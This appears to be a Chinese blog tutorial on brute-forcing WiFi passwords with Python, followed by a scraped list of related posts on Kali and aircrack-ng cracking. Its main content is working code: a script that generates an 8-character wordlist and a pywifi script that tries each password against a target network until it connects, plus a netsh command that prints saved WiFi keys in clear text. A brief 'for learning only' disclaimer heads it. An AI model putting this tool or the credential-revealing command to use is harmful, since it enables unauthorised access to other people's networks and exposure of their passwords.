对于代码有细微修改;

增加注意事项介绍;

声明:本文只是从技术的角度来阐述学习Pywifi库!

并不建议大家做任何破坏性的操作和任何不当的行为!

并不建议大家做任何破坏性的操作和任何不当的行为!

python编程实战:暴力破解WIFI密码

  • 1、破解wifi密码的流程
  • 2、实现
  • 【注意事项】
  • 3、题外话:查看电脑已连接的 WIFI 密码

1、破解wifi密码的流程

① 生成数字组合的密码本(复杂的就是大小写字母和数字组合)

密码本生成需要时间,文末已给纯数字密码本~

② 通过 使用 pywifi 模块,根据密码本暴力破解
(时间未知,仅提供思路)

2、实现

① 先安装 pywifi

1,win+r, 然后输入cmd

2,pip install pywifi

② 生成密码本(有密码本直接第三步)

代码:

import itertools as its
import datetime# 记录程序运行时间
start = datetime.datetime.now()
words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'  # 大小写字母 + 数字 组合
# words = '0123456789' # 纯数字
# 生成密码的位数
r = its.product(words, repeat=8)  # 即生成8位密码,正常情况下热点密码位数为8
dic = open(r"C:\Users\Administrator\Desktop\alphabetPass.txt", 'a')  # alphabetPass.txt 是密码本名称
for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)dic.close()
print('密码本生成好了')
end = datetime.datetime.now()
print("生成密码本一共用了多长时间:{}".format(end - start))

③ 穷举密码

代码:

注意修改对应wifi 名称

# coding:utf-8import pywifi
from pywifi import const
import time
import datetime# 测试连接,返回链接结果
def wifiConnect(pwd):# 抓取网卡接口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:# 创建WiFi连接文件profile = pywifi.Profile()# 要连接WiFi的名称profile.ssid = "CU_fb5g_2.4G"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 调用密码profile.key = pwd# 删除所有连接过的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)ifaces.connect(tep_profile)# wifi连接时间time.sleep(3)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接")# 读取密码本def readPassword():print("开始破解:")# 密码本路径path = "C:\\Users\\Administrator\\Desktop\\numberPass.txt"# 打开文件file = open(path, "r")while True:try:# 一行一行读取pad = file.readline()bool = wifiConnect(pad)if bool:print("密码已破解: ", pad)print("WiFi已自动连接!!!")breakelse:# 跳出当前循环,进行下一次循环print("密码破解中....密码校对: ", pad)except:continuestart = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end - start))

【注意事项】

一。可能会报错:ModuleNotFoundError: No module named 'comtypes

解决方法:

1.pycharm可能就直接提示了,自己留意查看,点击安装即可
2. 导入pywifi时,报错ModuleNotFoundError: No module named ‘comtypes’

二、

效果

时间可能很久很久! 但是操作还是可操作的!

就当一个参考思路吧!

3、题外话:查看电脑已连接的 WIFI 密码

① win+r, 然后输入cmd

② 输入命令:netsh wlan show profile name=“啦啦啦的iPhone” key=clear

蓝色字体啦啦啦的iPhone 是你正在连接的 WiFi 或者热点的名称,记得替换一下!

结果:00000000 就是我开的热点的密码

python编程实战:暴力破解WIFI密码!亲测运行有效!相关推荐

  1. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  2. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  3. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  4. 如何在Windows平台用Java代码暴力破解WIFI密码

    开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连 ...

  5. 自学python当黑客-用Python做黑客,暴力破解wifi密码

    前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...

  6. [python爬虫]暴力破解Wifi密码

    遇到的错误 一.Python在终端通过pip安装好包以后,在Pycharm中依然无法使用的解决办法 解决方案一: 在Pycharm中,依次打开File->Settings,弹窗如下图: 点击右侧 ...

  7. python暴力破解wifi密码原理

    首先,用python 函数生成一个类似的密码本,这里是5位数的,12345,qwert ,---,密码本结束完后会讲数据储存在超级密码本里],然后导入那个超级密码本再进行另一个函数比对,如果比对成功则 ...

  8. 在linux系统下暴力破解WiFi密码

    结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...

  9. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

  10. aircrack-ng暴力破解WIFI密码

    使用工具: aircrack-ng kali支持的无线网卡 第一步:检查无线网卡插上后,是否识别 第二步:airmon-ng check kill (我的理解是杀死有可能妨碍监听模式的进程) 第三步: ...

最新文章

  1. react-native 常用命令
  2. python二叉搜索树建立_700. 二叉搜索树的搜索(Python)
  3. 逻辑模型设计步骤-分析主题域
  4. 开源:Angularjs示例--Sonar中项目使用语言分布图(CoffeeScript版)
  5. linux内核链表分析
  6. mongodb集群——配置服务器放分片meta信息,说明meta里包含了哪些数据信息
  7. JavaScript高级程序设计(第3版)手写第一天。2019年2月23日,星期六
  8. Centos6.5安装/运行/启动/登录docker
  9. OpenCASCADE:MFC示例
  10. X264码率控制流程分析 (转)
  11. 怎么实现hover_web前端CSS实现一个粒子动效的按钮
  12. 生产者消费者案例java代码
  13. 计算机图形学开发框架,计算机图形学-基于3d图形开发技术
  14. VS2015 关闭错误列表
  15. 私藏很久的几个优质技术公众号
  16. 【Python机器学习】决策树ID3算法结果可视化附源代码 对UCI数据集Caesarian Section进行分类
  17. 华三交换机配置access命令_华三交换机配置中,shutdown这条命令怎么用?
  18. BootStrap-datepicker日期插件
  19. NOIP提高组【JZOJ4809】挖金矿
  20. linux 之pvs磁盘报错

热门文章

  1. qq linux五笔输入法下载软件,qq五笔输入法
  2. 文明4 java_文明4主题曲《Baba Yetu》(敬请关注中文歌词部分~)
  3. php 盗链新浪图片_php实现博客,论坛图片防盗链的方法
  4. Kali Linux-SET社会工程学攻击
  5. 轻松学Pytorch –车辆类型与颜色识别
  6. SpringBoot - @DependsOn注解详解
  7. cef调用本地html,在CefSharp中使用本地构建的网页(Working with locally built web page in CefSharp)...
  8. Tensorflow学习笔记-基于LeNet5结构的ORL数据集人脸识别
  9. Go开发关键技术指南
  10. java:从入门到放弃(二)